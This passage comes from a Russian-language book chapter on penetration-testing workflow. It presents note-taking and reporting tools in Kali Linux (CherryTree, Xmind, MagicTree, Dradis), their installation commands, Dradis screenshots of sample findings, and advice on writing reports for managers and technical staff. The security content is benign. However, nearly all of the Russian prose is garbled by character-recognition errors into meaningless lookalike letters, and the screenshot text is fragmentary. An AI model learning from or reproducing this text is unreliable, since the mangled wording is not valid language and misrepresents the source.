Bes comuenmst, HammaMe MPUITOKEHUS [T CO3/IAHMUST 3aMETOK SIBJISIETCS OTJIMIHBIM
nozcnopbeM B 110601 pabore. Panpiie B Kali Linux ucrosnpzoBazoch 3amMeyaresibHOe
nporpamMmuoe obecriedernne KeepNote /71t co3faHust 3aMeTOK 1 paboThl ¢ HUMH,
HO OHO JIABHO HE MOJIEPKUBAETCS, U Pa3pabOTUUKK OTKA3AJIUCh OT HETO B MOJIB3Y
CherryTree. CripaBeiuIMBOCTH PaJii CTOUT OTMETUTD, YTO BBl U ceiuac MOKeTe
UHCTALIMPOoBaTh U ucnosb3osarh KeepNote B Kali Linux, oro 6yzer paGortars; HO
MBI COJTMIAPHBI ¢ Pa3pabOTYMKAMU: €CJIN €CTh JIOCTONHBIE aJIBTEPHATHBBI, TO JIyUIIle
MCTIOJTH30BATH MOJ/IEPKIBAEMBIE TTPOEKTHI.

CherryTree npezcraiisier co00i OBICTPOE U UHTYUTUBHO MOHSTHOE TIPUTIOKEHIE
C OTKPBITBIM HCXOHBIM KOJIOM JIJISI CO3/IaHUsI 3aMETOK B BHJIE JIPEBOBUIHON CTPYK-
TYPBL. DTOT YHUBEPCATbHBIN U MOIIHBIA MHCTPYMEHT TIPEJJIaracT MIMPOKUN CIIEKTP
byHKIHiT: (hopMaTHPOBAHUE TEKCTA, MOACBETKA CUHTAKCHCa, 00paboTKa n3obpaxe-
HUi, TUTIEPCCHIIKU, UMITOPT U OKCIIOPT € TOJZIEPIKKOI psizia GOPMATOB, TTOJ/IEPIKKA
HECKOJIBKUX A3BIKOB U T. 1. (pHc. 5.5).

Ocuosubie pynkiu CherryTree:

e dopMmarupoBaHue TEKCTA: I[BET, IBET (hOHA, MOTYKUPHBIHM, KyPCUB, 3aTOJIOBKU
T I,

® [I0/ICBETKA CUHTAKCHCA, IIOA/IePKKa HECKOJIbKUX A3BIKOB IIPOTPAMMUPOBAHUA;

e 006paboTka n300paKeHmii;
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pacuIipeHHBIN TTOUCK, TTO3BOJISIONINI HAXOAUTD (Gailyibl B iepeBe (haiiioB He3a-
BHCHUMO OT MECTa MX PACTIOJIOKECHUS;

MOJIIEPKKa COYETAHUN KIaBUII, UMIIOPT U AKCIIOPT 3aMETOK, CHHXPOHU3AIUSA
¢ obaunbiMK cepBrcaMiu (TakuMH, kak Dropbox), moaaepskka mudpoBaHus
(aiinos;

paboTa ¢ TabMIaMu, UMIIOPT M 9KCIOPT JaHHBIX;

TUIIEPCCHLITKY;

nposepka opdorpaduu (¢ ucnosnpzosanuem pygtkspellcheck n pyenchant);
9KCIOPT BCeX AaHHBIX mian onpeaenerroi nx vactu 8 HTML, TXT u PDF;

IIOMCK JTaHHbIX.

Yeranoska CherryTree:

$sudo apt install cherrytree

&

*CherryTres D.99.48

File Edit Insert Format Tools Tree Search View Bookmarks Help

L + =+ E-~| LR aEd TSR DRPAD
MyOrg 5 B MyOrg [ Domains [ acr.org
Registrant Contact Information:
Mame
Whoi:

cy (enumDiNG dba)
3, Banzelt 4 A

~Sur-syre

'ostal Code
6921
Country
Ly
Fhone
+352.27720304
Email

Administrative Contact Information:

Whaois Pri
Adddr
BFM
City

Node Type: Plain Text - Date Created: 2023/03/20 -10:17 - Date

Puc. 5.5. NHTepdelic MHCTpyMeHTa Ans co3aaHus ApeBOBUAHbIX 3aMeTok CherryTree

Xmind

[Tocsie paccMoTpeHrs MHCTPYMEHTOB, TOMOTAIONINX OPraHU30BaTh HAIIX JTAHHBIE,
1opa Mepexo/IuTh Ha HOBBIM YPOBEHDb U 3aHATHCA Opranusaiueil mHGopMaIum u uzieil.
Jlist pertiervist 9TON 3a/1a4M yKe TOCTATOYHO MaBHO paspaboransl mind map, mwin
HHTEJJICKT-KapThL.
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WNuTennexT-kapra — 3TO BU3yaJbHbBIN MHCTPYMEHT JIJIT OPTAHU3AINH U CTPYKTYPH-
posanus unhopmaruu. OHa mpeAcTaBsieT co60 AuarpaMmmy, Ha KOTOPOH BOKPYT
IIEHTPAJIbHOM TeMBbI pacIoJaraloTcsl OCHOBHbIE MJleN U TIOHSITHS, CBS3aHHbIE MEX/Y
co00il BETBSIMU U TIOJIBETBSIMIL.

NuTennekT-KapThl OOBIYHO UCTOTB3YIOTCS 7SI CO3MAHUS TIJIAHOB, OPTAaHU3AIINT
MIPOEKTOB, PelieHus MpobaeM, aHaIM3a U Jaxke 3anmoMuHanus wadopmarmn. OHu
MO3BOJISTIOT BU3YaJU3UPOBATh U CTPYKTYPUPOBATH NHMDOPMAIINIO, TOMOTAsT TIOHH-
MaTbh OTHOIIEHUS MEXKY PA3JIUIHBIMU UESMU 1 HOHSTUSIMU, & TAK)KE 3AIIOMUHATb
uHGbOPMAIHIO JTydlie 0JIaroapsi BUSyaJbHON acCOIUAIMN C OIPEIeICHHBIMU TPa-
(bmueckumu sreMeHTaAMH.

OnHUM M3 CaMBbIX M3BECTHBIX M 9 PEKTUBHBIX UHCTPYMEHTOB [IJIsI CO3JaHUS
uHTe/IeKT-KapT sBisgercsa Xmind. Murepdeiic Xmind (puc. 5.6) npegocrasisger
OTPOMHBIIT CITUCOK MIAGJIOHOB U TEM, 3 KOTOPBIX MbI BEIOMPAEM Te, KOTOPbIE JIydIlie
COOTBETCTBYIOT HAINM MOTPeOHOCTSIM. ClIeaB BBIOOD, MOKHO HAYATD C PETAKTHPO-
BaHU MMOJIEH JAHHBIX, UX U3MEHEHVSI UK [00aBJICHUST HOBBIX.

Xmind mosBojsier BeTaB/sATh NHGOPMALNIO B BIAE TEKCTa, U300paKeHU, Map-
KepOoB, BJIOKEHMIL, ayI03aMeTOK 1 T. . PazHooOpasue TUIIOB JaHHBIX [103BOJISIET
CO3/1aTh UHTEJLIEKT-KapTy, BU3YAJIU3UPYIONIYIO HAIMN UIen U X0/ MbIcaeid. Takue
KapTbl CO3/1af0TCS 7151 YIIPABJIEHUS TTPOEKTaMHU, TIJIAHUPOBAHUS, TPUHATHS Pellie-
HUH U T. ]I.

Ectb siBe Bepcuu Xmind — rumatnas u Gecrimatiast. XoTst OeCIiiaTHAST BEPCUST U JIH-
1IeHa HeKOTOPBIX (DYHKITUI, OHA BCe PABHO OCTAETCA MOITHBIM 1 (DYHKIIMOHAJIbHBIM
MHCTPYMEHTOM.

Cy11ecTBYIOT pa3inyHble MOJIEIN MHTEJIEKT-KapT U METOAMKN, KOTOPbIE UCIIOJIb-
3YIOTCS JIJISl AaHAJIN3A JIAHHBIX B PA3HbBIX 00JIACTSIX, — HEKOTOPbIE M3 HUX SIBJISTIOTCSI
YHUBEPCAJIbHBIMHI, & HEKOTOPbIE MMOJAXOSAT TOJBKO /17151 ONIPe/leJIeHHBIX OTpacJei.
[asee paccMaTpUBAeTCsT OOTINIT TTOAXO K CO3MAHMIO TAKUX KAPT, OHAKO BbI MOJKETE
CIIOKOMHO €ro U3MeHATb B COOTBETCTBUU C KOHTEKCTOM UCIIOIb30BAHMSL:

® 1IeJIb: PelnTe, Ha KAKOi BOIIPOC HYKHO OTBETUTD;

® omnpeaeneHue HCTOYHUKOB: OIIPE/IC/INTE 1 IIEPEYNUC/INTE NICTOYHUKHU, U3 KOTOPbLIX
BbI MOJKETE IIOJIYYUTD /IaHHbIE, CBA3aHHBbIE C 11€JIbIO;

L4 CﬁOp: C60p JAQHHBIX Pa3/IMYHbIMU METOJaMU N3 BCEX BOSMOJKHBIX NCTOYHUKOB;
® OYMCTKa: Y6epI/ITe nus3 CO6paHHbIX JAaHHBIX BCE, YTO HE UMEECT OTHONIECHU K ICITY;

® oOpraHd3anyd JaHHBIX: OUMIIEHHbIC JaHHbIE 1OJIKHDI OBITH OpTraHM30BaHbl TAKUM
O6p3.30M, 4yTOOBI BB JIETKO MOLJIN TOJIYUYUTDb K HUM /IOCTYII;

® Mo/ieJIMpOBaHNe TaHHBIX: MOJIETUPYHUTE C UCITOTH30BAHNEM PA3JINIHBIX METO/IOB,
HalpuMep BU3yaau3alny, CTAaTUCTUYECKOrO aHAIN3a U T. [1.;

® QoMeleHHe B KOHTEKCT: TI0CJIe TOTO, KaK MbI BBITIOJTHUJIN aHAJU3 JTAHHBIX, HY>KHO
WHTEPIPETUPOBATH PE3YJIBTAT B COOTBETCTBUU C KOHTEKCTOM, a 3aTEM MPUHATH
pelieHye o JaTbHENNX AeHCTBUAX.
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Yeranoska Xmind Kali Linux:
e ckauvaiite naker deb ¢ opdunmanbHoro caifta paspaborunka https://xmind.net;
e ycranoBuTte $sudo dpkg -i Xmind-for-linux-amd64bit-22.11.3656.deb

® JI0CJI€ YCTaHOBKHU 3aIlyCTUTE U3 MEHIO.

Untitled - oo r +~ =

Central Topic

Main Topic 3

Topc | (2 | 100 Aliner

Puc. 5.6. NHTepdelic Xmind

MagicTree

MagicTree — THCTPYMEHT, CO3/ITaHHBIN TTPENMYTIECTBEHHO /171 CIIEI[UATMCTOB 110 WH-
opmarmomHoii 6e3omactocTr. ETo 0cHOBHO# 3a1aveit sIBIsIETCS pertiente poOIeMbl
OpraHU3aIMN JAHHDIX, [T0JIy4YEeHHBIX U3 Pa3HbIX MICTOYHUKOB. 3/1€Ch 110/l MCTOYHUKOM
MBI TIOHMAEM He CTOJIBKO JI0OBITYIO ¢ caliTa MPEATPUSITHS UIN COIMATBHOM ceTn
nH(opMaImio, CKOJIbKO JaHHbIE, KOTOPbIE MBI ITOJIy4aeM € UCIIOJIb30BAaHUEM TaKUX
yTusmt, kak nmap, dig, nikto, nessus u T. 1.

Mbr1 He GyeM TOAPOOHO OCTaHABJUBATHCSA HA TOM MHCTPYMEHTE BBUJLY TOTO, 4TO
OH y’Ke MHOTO JIET He MOJIEPIKUBAETCS Pa3paboTUMKaMU U YIAJEH U3 PEMO3UTOPUEB
Kali Linux. Oznnaxo panbiie mo (hyHKIIMOHATBHOCTH ¥ YI0OCTBY OH TIPEBOCXOUI
Dradis — ciueayonuit HHCTPYMEHT, KOTOPBIH MbI Oy/IeM pacCMaTPUBATD.

Ckauarp MagicTree MOKHO ¢ 0OpHUIIMATBHOTO caiiTa pa3paboTunKoB https://www.
gremwell.com/what_is_magictree. 3aryckaeTcst OH U3 KOHCOJIU CJIEYIONIeN KOMaH/[OM:

$java -jar /home/itsecbook/Downloads/MagicTre-build1814.jar
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Dradis

Dradis — aT0 WHCTPYMEHT C OTKPBITBIM MCXOAHBIM KO/IOM [1JId COBMECTHOT pa6OTbI
Ha/l ITPOEKTaMHU, YIIPpaBJICHUA HH(I)OPMaHHefI O TECTUPOBaHUM Ha IIPOHUKHOBEHNE
1 CO3JaHUA OTYETOB.

Ocuosubie pynkin Dradis:

® coBMecTHas padoTa: OH MO3BOJISAET YWICHAM KOMAH/bI PabOTaTh BMECTE HAJ[ TIPO-
ekTaMu B 00s1acT MHGOPMAITHOHHON 6e30MaCHOCTH, 0OMEHUBATLCS 3aMETKAMH,
pe3yJibTaTaMy CKaHUPOBAaHUS, KCIJIONTaM1, BU3yasn3alineil ceteil u T. 11.;

® UHTErpanus ¢ HHCTPYMEHTaMH CKaHMpPOBaHus: oH paGoraer ¢ Nessus, Qualys,
Burp Suite u 1. 1., uTO TIO3BOJISIET UMTIOPTUPOBATDH PE3YJIBTATHI CKAHMPOBAHUS
U 9KCIIOPTHPOBATH UX B IPYTUE UHCTPYMEHTBI;

® ympaBiieHHe NPOEeKTaMu: ¢ TOMOIIbI0 Dradis MOKHO cO3/[aBaTh TPOEKTHI, Ha3HA-
9aTh 33/1a41 U OTCJIEKUBATD IPOTPECC, a TaKKe YIIPaBJIATh Beell nHpopMaImet,
CBSI3aHHOII C ITPOEKTOM;

® CoO31aHue OTYETOB: Dradis 3HaunTenbHo yupouraeT co3lanne OT4€ToB O TeCTU-
POBaHMHM Ha IMTPOHUKHOBEHNE, KOTOPbIC MOKHO JIETKO HACTPOUTD 11O HYIK/bI
3aKa34MKa;

e pusyaimsanus cereil: Dradis moMoraeT cosaBaTh BU3YalIU3aIllio CETEH U TO-
MOJIOTHH, YTO YJIy4IIaeT IIOHUMaHNe CTPYKTYPBI IEIE€BON ceTh 1 00Jierdyaer Bbi-
SIBJIEHUE YSI3BBUMOCTEH;

® HCHOJb30BaHUE IUIATUHOB: OH 00J1aIaeT BOZMOKHOCTBIO MOAKIIOUEHIS MHO-
JKEeCTBA IUIATHHOB U MHTErPAIUiA, KOTOPbIE PACITUPAIOT (PYHKITMOHAIBHOCTD
MHCTPYMEHTA U TIO3BOJISTIOT JIETKO B3aUMO/IEMCTBOBATD C IPYTUMU CUCTEMaMU.

ITo ymosuanuio Dradis ve ycranosien B Kali Linux, ogaako Haxogurcs B oduiim-
AJTbHBIX PEMO3UTOPHUsIX. /lJIs1 €ro 3arpy3Ku BBITIOJTHUTE KOMAHLY:

$sudo apt install dradis

[Tocsie ycraHoBKHM 3aITyCTHUTE CEPBUC KOMAH/[0M:

$sudo dradis

ITocie 3amycka porpaMMa BBITIOJIHAT HEOOXOAUMbIE AEHCTBUS, U BB CMOJKETE TIPH-
CTYNUTH K HAYaJIbHON HACTPOWKE 3TOr0 MHCTPYMEHTA, JIJIsI 9TOTO B BallieM Gpaysepe
BBe/IUTE caemytomuii aapec: http://127.0.0.1:3000.

[Tocse cozmanus mapoJis BbI cMoskeTe 3aiiTu B cucteMy. [Ipu BXozie BaM mipeyioskaT
760 HAYATh € YUCTOTO JIUCTA, TNOO 3arPy3UTh TECTOBBIN TPOEKT. EC/Ii BBI yoKe 3Ha-
KOMBI C 3TUM WHCTPYMEHTOM, TO PEKOMEH/IyT0 He JIOUUTHIBATD /10 KOHI[A ATOT Pas/ied,
TaK Kak Bbl Bp4/L JIM y3HaeTe 4yTo-To HoBoe. Eciu ke aTo Ballle IiepBoe 3HAKOMCTBO,
TO CTOUT 3arPy3UThH JIEMOHCTPAIIMOHHbBIE JIAHHBIE JIJIsT JIyUIIEro MOHUMAHIST Pa0OThI
uHcTpyMeHTa (puc. 5.7).
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-7 Project summary

KaliLinux @8 Kali Tocls B
@ Dradis CE Dradis Project Q @ Upload [BExport 3G Change Project 48 Configuration  fh Notifications 2 Help (B Logout

I & o= Project summary

lssues so far Methodology progress

2

Crical  High
@ Pending
@ Dare
# Blind 50U Injection
Recent activity VAl Activity

# Apache 1.3 HTTP Server Expect Header
Cross-Site Scripting

~-_ adama@dradisframework.com updated

| the Bind SOL Injectzon issue.

% TCP Sequence Mumber Approximation
Based Denial of Service

+ adama®dradisframework.com updated
o the Blind SCL Injection issue,
onDec 12 2018

#% Apache HTTPD: error responses can - adama@®dradisframework.com updated

Puc. 5.7. HauanbHas ctpaHuua Dradis ¢ uHcbopMaumeii o0 TeCTOBOM NpoekTe

Jl71s1 Havasia mo3HakoMUMCs € TTaHesbIo YIIPaBJIeHus, OHa HaX0uTCs cieBa. B pas-
negie All issues (puc. 5.8) BbI MOXKeTe CO3/aTh HOBYIO 3ajauy, 3arpy3utb B Dradis
MOJIyY€HHbIE C TIOMOTI[BIO IPYTOr0 MHCTPYMEHTA JJTAaHHbIE UJIU PE3YJIbTaT us 6ub/im-
OTEKT.

Paznen meroauku (Methodologies) (puc. 5.9). CylecTByeT MHOKECTBO METOIUK ITPO-
BeJIeHUsI TECTOB Ha MPOHUKHOBEHHUE, Pa3pabOTaHHBIX PA3INYHBIMU OPraHU3ATUSIMH.
ITo cytn, MeTommKa — 9TO HAOOP HEOOGXOANMBIX ITATOB, TIOCTIE TPOXOKAEHUST KOTO-
PBIX BBl MOJKETE CKa3aTh, YTO BBITIOJTHIIIA TECT HA TPOHUKHOBeHUE. [1o ymMorganmio
B Dradis nmpakTiyeck HeT METOAUK, HO ¢ OPUITHATIBHOTO caliTa BBl MOJKETE 3aIPY3HUTh
CJIEIYIOIITHIE:

OSSTMM v3;

OWASP Top 10;

SANS;

OSCP
U ipyTHe.



168 FnaBa 05 e OTyeThl

<} Issues summary

D Columns »
Title Tags Affected

O Apache 13HTTP i High 10.0.155.160

Seripting

O Apache HTTPD: ¥ Medium 1,111
BITOF FESPONGES

(CVE-2012-0053)

[0 Apache Web # Medium  10.0.135.160 o Edit @ Delete
Server ETag
Header
Information
Disclosure
Weakness

Bling SOL 4 Critical 1113
n

O Firewall Detected 3 Info 10.0.155.157

show 25 & entries

Showing 1 to B of 8 entries

¥ Methodologies

ds

li Forums & Hunter = Explolt-DB =
Add new methodology

(73 Blank methodology

Q) From template

Simple OWASP checklist

Download mare templates

Name *

Simple OWASP checklist

Puc. 5.9. [lobaBneHme MeToank
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Mertozmka Ha caMOM JieJie IOCTATOUHO THOKHMI HHCTPYMEHT, 1 He 00sI3aTeTLHO CTPOTO
CJIe[10BaTD €if, Ha OCHOBE CYIECTBYIOIIEH METOIMKH BbI MOKETE CO3/1aTh CBOIO (MJIn
ClIeJIaTh ATO C HyJist ¥ paboTaTh M0 CBOEMY YHUKAJILHOMY TIJIAHY ).

Cosmannm metoguky OWASP u3 yike cytecTBytoriero mabmoHa. [[7ist 5Toro BeioepeM
Create new metodology, B nosiBuBILIEMCS OKHe oTMeTuM From temlate, BoiGepem Simple
OWASP checklist u naxxmeM knoniky Add methodology.

Ternepb Bbl MOKETE OTKPBITH CIIUCOK C IAraMi, HEOOXOAUMBIMU JIJIsi TIPOBEPKY J1e-
CSITH CaMBIX TIOTYJISIPHBIX YsI3BUMOCTEN BeO-mipuioskernii 1o Bepcut OWASP. To-
STBJISIETCST BOBMOJKHOCTD TI0OABUTH KOMMEHTAPHI, CO3/IATD TOTIOTHUTETHHDIE 33 TaHNsT
WJIM CPa3y OTMETUTH HEKOTOPbIE U3 HUX KAK BBIIIOJHEHHBIE, OTPEIAKTUPOBATH MX
U Ha3HAYUTH KAKOMY-JTHO0 UCTIOTHUTENIO (ec/Ii BBl paboTaeTe B KOMaH/Ie).

Ilepeiina B pasmen Dashboard, BbI yBUANTE HOBYIO METOAMKY M OOIMUIL XOZ BBIIOJI-
uenns (puc. 5.10).

«3 Project summary

cC @

Dradis Project Q @ upioad [FExport 3 Change Project Kb Configuration  J Matifications P Help ([ Logout
Project summary

Issues so far Methodology progress

2

Crncal  High in Low 1 NiA
@ Pending @ Pending
@ Done @ Dane
3 Bird SOL Injection
Recent ar_rivity Al Actraty

B Apache 1.3 HTTP Server Expect Meader
Cross-Site Scripting

admin updated the [CWASP Top 101 AZ2017
- Broken Authentication card in the Simple
¥ OWASP checkiist board.

3 TCP Sequence Number Appraximation 2 minutes age

Based Denial of Service

admin created the Simple OWASE checkiist
¢ methodology.
10 minutes age

% Apache HTTPD: error responses can

Puc. 5.10. MnaBHbIli 3kpaH Dradis nocne nobaBneHus METOANKM

3arpysuTh W TOJIKJIIOUYNTHh HOBYIO, paHee He CYIIECTBOBABIIYIO METOANKY MOKHO
¢ opunuansuoro caiita Dradis — https://dradisframework.com/academy/industry/
compliance/.
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Pacemotpum caeayrormii pasaes — Hombl (Nodes). Hozpl pezictaBiistioT co00il KoHTel-
HEPBI THITA MATIOK B OTIEPAIIHOHHON CHCTEME, OCHOBHAS WH(OPMAIIUSA TI0 TIPOEKTY Oy AeT
COCPENIoTOYEHa IMEHHO B HUX — CIOJIa BbI Gy/iere 06aBIISITh 3aMETKH, TIPUKPEIIATH
(aiiner u T. . CTpykTypa Oy/eT Beeria 3aBuceTh OT THITA Balllero npoekrta. Tak Kak
HOJIBI — IIPOCTO KOHTEWHEPHI /It XpaHeHUsT H(GOPMAIINN, OHU MOTYT MPEACTABIATD
co0O CeTH ¢ XOCTaMU, KaTeTOPHUHU, Pe3yJIbTaThl padOThI PA3JIUIHBIX HHCTPYMEHTOB
u 1. 1. Ecotu cosmaercst ipeBoBUHAS CTPYKTYPA, B HEll Oy T rIaBHbIE U TIOYNHEHHBIE
aneMeHThI. J[o6aBieHne Hol MOJKET IPOUCXOJIUTD M0 OHON MU MO HECKOJILKO CPasy.
s poGasnenus Hozpl (puc. 5.11) npocTo HaKMKTE + B MEHIO CIIpaBa B paszedie Nodes.

Add top-level node

@ Add one
O Add muiple

Label *

l 45,84 58.0/24

Reon

Haicon

Puc. 5.11. [lo6aBneHne HOBOW HoAbI

PasbepeMcs B OCHOBHBIX CBOIicTBaxX Hozbl (puc. 5.12):
® Notes — so6bIE 3aMETK;

e Evidence — mocJie Toro, Kax Bbl HAILLIN YSI3BIMOCTD, BAM HEITPEMEHHO HEOOXOIIMMO
accoIruupoBaTh ee ¢ Hojoil. Hampumep, Bb1 MoskeTe 3arectu Tyaa URL nnu kog;

e Attachment — cpaiizbl, cBsI3aHHBIE C JAHHON HOJIOM, HAITPUMEP CHUMKH 9KpaHa U
pe3yJIsTaT paboThl OMPEIETEHHON TPOTPAMMBL.

[Mocne co3manmsa HOJ MOKHO 3arpy3uThb uHdopmaiuio. /lng npumepa Bo3bMeM
pe3yJIBTaT paboThl NMAap, COXPAHEHHBIH B TEKCTOBOM (aiie. J[JIs1 9TOTO B BepXHeM
MEHIO BbIGepeM WHCTpyMeHT Upload, B pasjesic Upload manager HEOOXOAUMO yKa-
3aTh MJTATHH, ¢ TOMOIIILIO KOTOPOTO IOJIKEH GBITh 06paboTan (haii, B HAIIIEM CTydae
Dradis::plugins::Nmap, ¥ B CTPOKE HIIKe HYKHO BBIOPATh (haiis.

ITocJie Boibopa (daiina crcreMa aBTOMaTUYECKK ero npoanaausupyet. IIpomece 06-
PabOTKY BB MOJKETE YBUIETH B KOHCOJIM HUKE, 3TO OBIBAET MOJIE3HO B CJIyUae, KOT/Ia
YTO-TO MJET HE TaK, KaK BaM XoTesioch Obl (puc. 5.13).
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8 - properties.

ng DB J1 OffSec

Q, LaUpioad [@Expor G Change Praject Configuranon  Ji} Motifications P Help (@ Logour

Modes > 4584 56,0024 > 4584568

Nede updated. ®

PEvdence  MMNotes  MMethodology  of Properties | T Recent activity

You don't have any node properties yet

MNode properties are added after importing information from security scanners.
Things like host names, apen ports, and running servces will all be stored as
prapadties

e can alsa add your own prepenties which are stored as
strucied JSON data,

To 2dd noge properties manually:

Puc. 5.12. CBoiicTBa HOAbI

= Upload Manager

i = Google Hacking DB

Dradis Project. @ &@Upioad Beport 3¢ Change Project @ Configuration K Not

Upload Manager

Upload Qutput Fles Available plugins
Use the form below to upload autput files from other Plugin Description Version
ook

Processes Acunelic 471

XML format.
1. Choose a tool

DradisPluginsiNmap (] Processes Brakeman 471

50N autput, use:

brabeman -fjon -

results json
2. Choose a file

Upoad Burp 470
l nmap.bit | Browse I Seanner autput file

Lhtml)
Upload pregress: oradis::p  Upload Burp 470

Scrofl for mere

Output console

Filename: nimap 1t
Size: 9.0 KE

Puc. 5.13. 3arpy3ka 1 o6paboTtka pe3ynbTaToB paboTsl nmap
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-1 127.0.0.1 - properties

nter = Fxplolt-DR = Google Hacking DB ]| OffSec

Dradis Project Q @ Upload [BExport 3@ Change Project 48 Configuration  J Motifications 2 Help (B Logout
Nodes » pluginoutput » 127.00.1

WEddence  [iNotes  [@Methodology = QProperties  TRecentactivity

Properties # Edit

Hostname
Iocalhast

IP

127.00.1

services

Frotocol Port State Product Reason Name Version

wp 300 open syn-ack  ppp
0

wp 543  open myn-ack  postgr
2 esql

wp 900  open syn-ack  csliste
o ner

Services Extras

Puc. 5.14. Pe3ynbTathl 06paboTku daiina, cozgaHHoro Nmap
B pa3gene Nodes » plugin.output » 127.0.0.1

A rj1e e KpaCHBBII 0TY€eT, KOTOPBII ObLT 00€IaH B CAMOM HadaJIe, CIIPOCKUTE BbI? DTOT
IIYHKT OCTaBJIeH JIJIst pa3bopa B CAMOM KOHIIE JIJIST TeX, KTO JIOYUTAJI JI0 3TOTO MECTA.

JLJist reHepalu oTdeTa o MpojeIaHHON paboTe B BEPXHEM MEHIO BaM JI0CTYTIEH MMyHKT
Export. Tyt MoxkHO BBIGpaTh, B KakoM (opMare Bbl XOTUTE OCYIIECTBUTH 9KCIOPT
nanubix: CSV, JSON, HTML u 1. 1. MsI ciietaem ipoctoii otuet B hopmate HTML
(puc. 5.15).

HanucaHue otyeTa

Otuer 0 mpojieTaHHON paboTe — 3TO JOKYMEHT, KOTOPBII OMMCHIBAET PE3YJIBTATEI
paboThI, BBIIOJTHEHHOI B paMKax OTPE/IeJEHHOTO MPOEKTa WK 3aaHust. B oTdyere
MOJKET COZIepKaThCcsl MHMOOPMAIIHS O MEJSX, JOCTUTHYTHIX Pe3yJIbTaTax, UCI0Ib30-
BaHHBIX IIPU BbINOJHEHUH PabOThI METOAAX, AHAJIU3 PE3YJIBTATOB U T. [I.

B oruere o 1ipoesanHoil paboTe Ba)KHO UCIIOJIb30BATh SICHBIN 1 JJAKOHUYHBIH A3BIK
JUIST OTTUCAHUST TIPOIecca PabOThI U JOCTUTHYTHIX Pe3yJIbraToB, OTU4eT MOXKET ObITh
[pegHazHavdet s BHyTPEHHero NCI0JAb30BaHus — IIPEAOCTaBIeHUd PYKOBOJICTBY



HanucaHue otyeTta 173

-3 Export Manager x| +

O D loc j b=htmi

7 Kall Forums &2 Kali NetHunter = Explolt-DB = Google Hacking DB J| OffSec

Dradis Project Q @uUplcad [BExport 3G Change Project 48 Configuration il Notfications 2 Help (3 Logout

Export Manager
Export results in CSV format  Generate JSON reports | Generate advanced HTML reports
Save and restora project information B Custom Waord reports @ Custom Excel reports
Choose a template

Please choose ane of the termplates avaiable for thes plugin (find them in . /tesplates/reports/html_export )

QO basichtmlerb
() default_dradis_termnplate v3.0 himilerb

Puc. 5.15. leHepaums otyeTa B popmate HTML

NJIN KOJIJIETaM I/IH(I)OpMaLII/II/I (6] HpOlIe.]IaHHOﬁ pa60Te NJIN JIJIA1 BHEITHETO MCITOJIb30Ba-
HUA — COO6H.[BHI/IH KJIMEHTaM, ITapTHEPaM NJIN NHBECTOPaM O pe3yJibTaTaX IIPOEKTa.

Otuer MOXKeT BKIIOYaTh B ce0s Tabauibl, rpaduKu, AuarpaMMbl, IOMOTAIONIIe BH-
3yaJIM3UPOBATh JAHHbIE U [IPEACTABUTD UX OOJIee IIOHATHBIM 00pa3oM. Takke MOKHO
UCII0JIb30BATh CChLIKKM Ha MCTOYHMKH, UCIIOJIb30BAHHBIE B X0€ paboTbl, 4TOObI 000~
CHOBATh MIPUHSITHIE PENIEHNS M Pe3yJIbTaThl AaHAIN3A.

Otuer 0 npogeIanHoil paboTe IOMOraeT OpPraHu3auy OLeHuTh 3h(OEKTUBHOCTD
BBITIOJTHEHHBIX JIEUCTBUN U MOHSITH, KAKUE YPOKHM MOKHO U3BJI€UD, YTOOBI YIIyUIIUTh
Gymytie mpoekThl. OH TakKe MOXKET OBITH TOJTE3€H /7SI CPABHEHUST PE3yIBTATOB
TeKyIeil paboThl ¢ Pe3yJIbTaTaMy MPEABIAYIINX TPOEKTOB U ONEHKU TEHACHIIHIT
B Pa3BUTHU OPTaHU3AIINN.

LleneBas ayantopus

He Bcerza MoxkHO 000iTHCH OAHUM 0TYeTOM. HeoOX0MMO IIPeCTaBUTh HEJIEBYIO
AyAUTOPUIO U TIOCTABUTD ceOst Ha MECTO JIT0jIe, KOTOPbIe OYIyT YUTATh BAII OTYET.
Kak oTHeceTcst K 0TUETY, B KOTOPOM GOJIbIIast 4acTh HH(MOPMAIIH SBJISIETCS Cyry6o
TEXHUUYECKOH, TUPEKTOP TIPEATTPUITHS, 3aHUMAIOIIErOCST JJOTUCTUKOM UJTH TTPON3-
BOJICTBOM TTUJIOMATEPUAJIOB, BE/lb 3TO He BXOAUT B cepy ero npodeccruoHaabHol
komrieTeHIuu? Ckopee BCEro, pyKOBOJAUTEJb 3aX0UeT YBUAETD OIEHKY PUCKOB,
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BO3MOJKHDBIE TIOTEPU, PEKOMEHIAINN [JIAA UCIPABJICHUA U ITPUMEPHDBIE 3aTPAThl Ha
HX peajin3alimio. B To xe BpeMs TEXHUYECKOMY CIIEIIUAJINCTY BaKHO BUIETD /I€TAJIN,
TMOHUMAaTb IPUOPUTETHI U MOJYYUTD IIPE/ICTaB/JICHNE O KOHKPETHBIX ITarax /Jisd Uc-
IpaBJieHUA HalIeHHBIX yEISBI/IMOCTefI.

[Ana pyKoBOACTBa

JlaHHbIi OTYET TOJKEH OBITh KAK MOKHO O0Jiee KPATKUM, COJEPKATH MUHUMYM
TEXHUIECKOI I/IHd)OpMaI_[I/II/I. B nero CJaeyET BKIIOYUTDH O6IlII/I€ JaHHbIE, TIOJIy4YE€HHDbIE
BBIBOJIBI, 0630D HAWIEHHBIX YSI3BUMOCTEH 1 OIEHKN PUCKOB B KOHTEKCTE OGU3HeC-
MO/IeJIN NTPETIPUATNS, BUYATU3AIIO JJAaHHbIX.

Hauatb oTueT MOJKHO € YKa3aHUs MOCTABJIEHHBIX MEPe/l HAYaJIOM TECTUPOBAHUS TieJiei
U KPATKOTO OMUCAHUST METOJIOB UX JOCTHKeHUs. Takske HEOOXOAUMO YKa3aTh COIMYT-
CTBYIOIIHE OTPaHUYEHUST, KOTOPBIE MOTJIHM TTOMEIIATh BaM TIpK TIpoBeieHnn Tecta. Ha-
[IPUMEP, YACTO 3aKa3UMK TPEOYET TapaHTHI COXPAHEHHS PAOOTOCIIOCOOHOCTI CHCTEMBI
BO BpeMs TECTUPOBAHUS Ha IIPOHUKHOBeHMe. Eciu, cobuiozas a1o TpeboBaHue, Bbl He
CTaJIi POBOUTD aTaKy, KOTOPasi MOIJIa BhI3BATh OTKA3 B 00CIYKMBAHU, HECMOTPSI Ha
HaWIEHHYIO YSI3BUMOCTb, TO ¥ HE TIOITBEP/IUJIN CTOTIPOIIEHTHO HAJIUYHE YSA3BUMOCTH,
XOTs yBEPEHbI B €€ CyNeCTBOBaHN Y. Takne MOMEHTBI HeOOXOMMO 0TOOPA3UTD B OTUETE.

Jajiee, HeOOXOAUMO OIKCATh HAlJIEHHbIE YS3BUMOCTH. XOPOILIO OYAyT CMOTPEThCSI
